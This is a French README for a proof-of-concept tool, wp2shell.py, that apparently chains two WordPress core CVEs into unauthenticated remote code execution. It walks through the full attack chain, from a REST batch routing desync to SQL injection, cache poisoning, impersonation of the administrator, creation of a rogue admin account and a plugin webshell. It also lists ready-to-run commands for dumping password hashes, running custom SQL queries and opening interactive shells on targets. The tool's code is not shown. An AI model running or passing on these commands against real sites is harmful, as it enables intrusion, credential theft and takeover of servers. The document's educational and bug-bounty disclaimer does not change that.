
Preuve de concept de la chaîne RCE CVE-2026-63030 & CVE-2026-60137
⚠ Cet outil est créé uniquement à des fins éducatives ou de bug bounty. Toute utilisation non autorisée en dehors d'environnements contrôlés est strictement interdite.
Preuve de concept de la chaîne de vulnérabilités wp2shell affectant le noyau de WordPress, combinant CVE-2026-63030 et CVE-2026-60137. Le projet démontre l'interaction entre la vulnérabilité de confusion de routage du point de terminaison REST API Batch et une injection SQL WP_Query, aboutissant à un chemin non authentifié vers un compromis complet de WordPress et une exécution de code à distance (RCE).
Lisez l'avis complet ici
wp2shell est une chaîne RCE pré-authentification dans le noyau de WordPress, combinant CVE-2026-63030 (confusion de routage dans le point de terminaison REST batch) et CVE-2026-60137 (injection SQL dans WP_Query).
La confusion de routage : /wp-json/batch/v1 traite plusieurs sous-requêtes via des tableaux parallèles $matches et $validation indexés par position. Une sous-requête avec un chemin malformé (par ex., http://:) est ajoutée à $validation mais pas à $matches en raison d'une instruction continue, désynchronisant les tableaux. Les requêtes ultérieures sont acheminées vers le gestionnaire destiné à la requête suivante, contournant la validation du schéma et les contrôles de permissions.
L'injection SQL : Deux appels batch imbriqués exploitent cela. Le batch externe contourne la liste d'autorisation des méthodes (qui bloque normalement GET). Le batch interne délivre une chaîne scalaire author_exclude à GET /wp/v2/posts - la désynchronisation l'achemine au-delà de la validation, et WP_Query interpole la chaîne non assainie directement dans le SQL, produisant une injection aveugle basée sur UNION.
Empoisonnement du cache : La SQLi renvoie des objets WP_Post falsifiés, que WordPress met en cache en mémoire. Ces faux posts contiennent des shortcodes [embed] qui amènent WordPress à créer de véritables lignes oembed_cache dans la base de données à partir des références factices.
Escalade de changeset : En utilisant la SQLi, l'attaquant forge en mémoire un post customize_changeset avec "user_id": 1 dans son JSON. Un gadget de détection de cycle déclenche wp_update_post() sans écraser post_content, préservant le payload de l'attaquant. L'application du changeset assume temporairement l'identité de l'administrateur.
Ré-entrée de hook : Un post fabriqué avec le statut parse et le type request déclenche le hook parse_request, rejouant l'intégralité de la requête batch avec le rôle admin assumé. Cette fois, une sous-requête POST /wp/v2/users réussit, créant un nouveau compte administrateur.
Exécution de code : L'attaquant se connecte en tant qu'admin créé et téléverse un plugin malveillant pour exécuter des commandes arbitraires.
| Version | Statut |
|---|---|
| WordPress 6.9.0 – 6.9.4 | Vulnérable |
| WordPress 7.0.0 – 7.0.1 | Vulnérable |
| WordPress 6.9.5 | Corrigé |
| WordPress 7.0.2+ | Corrigé |
Pour utiliser ce PoC, la seule condition requise est Python 3.8+.
Exécutez-le depuis le répertoire du dépôt pour effectuer une vérification de vulnérabilité :
wp2shell.py http://victim.com
Effectue une seule vérification de vulnérabilité. Envoie une sonde de marqueur batch bénigne qui détecte le bug de confusion de routage sans exécuter de payloads SQLi. Une cible vulnérable renvoie HTTP 207 avec le motif d'erreur parse_path_failed, block_cannot_read et rest_batch_not_allowed.
Utilisez --confirm-sqli pour également envoyer un payload de confirmation SQLi actif. La confirmation essaie d'abord la réflexion UNION, puis se replie sur des sondes basées sur le timing.
Vérifier une cible unique (mode par défaut)
wp2shell.py http://target.com
Vérifier avec mode explicite
wp2shell.py http://target.com --check
Vérifier avec confirmation SQLi
wp2shell.py http://target.com --check --confirm-sqli
Extrait des données de la base de données en utilisant l'injection SQL pré-authentification. Par défaut, utilise --technique auto, qui essaie les méthodes disponibles dans cet ordre :
WP_Post factice via UNION et relit son titre depuis la réponse REST sous la forme ||HEX(value)||. Une requête par valeur. Le plus rapide.EXTRACTVALUE/UPDATEXML pour fuiter ~15 octets par requête. Fonctionne lorsque la cible reflète les erreurs MySQL (par ex., WP_DEBUG_DISPLAY activé).X-WP-Total comme signal vrai/faux. Fonctionne même lorsqu'aucune donnée n'est reflétée.Forcez une technique spécifique avec --technique union|error|blind. Ces chemins de lecture sont en lecture seule et n'écrivent pas dans la base de données.
Empreinte du serveur (requête par défaut)
wp2shell.py http://target.com --read
Extraire les identifiants et les hashs de mots de passe
wp2shell.py http://target.com --read --preset users
Requête SQL personnalisée
wp2shell.py http://target.com --read --query "SELECT @@version"
Forcer la technique aveugle
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"
Extraire avec la technique basée sur les erreurs
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"
Exécute des commandes sur le serveur cible. Fonctionne selon deux modes :
Avec identifiants (se connecte en tant qu'admin existant et téléverse le shell plugin) :
Exécuter une commande spécifique
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id
Shell interactif
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
Sans identifiants (RCE pré-auth - exécute le pont complet SQLi→admin, se connecte en tant qu'admin généré, puis téléverse le shell plugin) :
Exécuter une commande unique
wp2shell.py http://target.com --shell --cmd id
Shell interactif
wp2shell.py http://target.com --shell --interactive
Le webshell plugin est téléversé avec un chemin aléatoire et un jeton par exécution. Le webshell téléversé est supprimé automatiquement. Lorsque le pont pré-auth crée un administrateur, ce compte généré est supprimé automatiquement après la fin de la session shell.
Liste complète des options :
Cet outil est créé uniquement à des fins éducatives ou de bug bounty. Toute utilisation non autorisée en dehors d'environnements contrôlés est strictement interdite.
| Option | Description |
|---|
--check | Exécute la vérification de vulnérabilité (mode par défaut si aucun autre mode n'est spécifié) |
--read | Extrait des données via l'injection SQL |
--shell | Exécute des commandes sur le serveur |
--query | Requête SQL personnalisée pour le mode de lecture |
--preset | Préréglage de requête prédéfini (users, config, versions) |
--technique | Technique d'extraction SQLi : union, error, blind ou auto (par défaut) |
--confirm-sqli | Envoie un payload de confirmation SQLi après la vérification |
--cmd | Commande à exécuter en mode shell (par défaut : id) |
--interactive, -i | Mode shell interactif |
--user | Nom d'utilisateur admin pour le shell authentifié |
--password | Mot de passe admin pour le shell authentifié |
--proxy | Proxy HTTP/HTTPS (par ex., http://127.0.0.1:8080) |
--timeout | Délai d'expiration des requêtes en secondes (par défaut : 30) |
--verbose, -v | Sortie détaillée |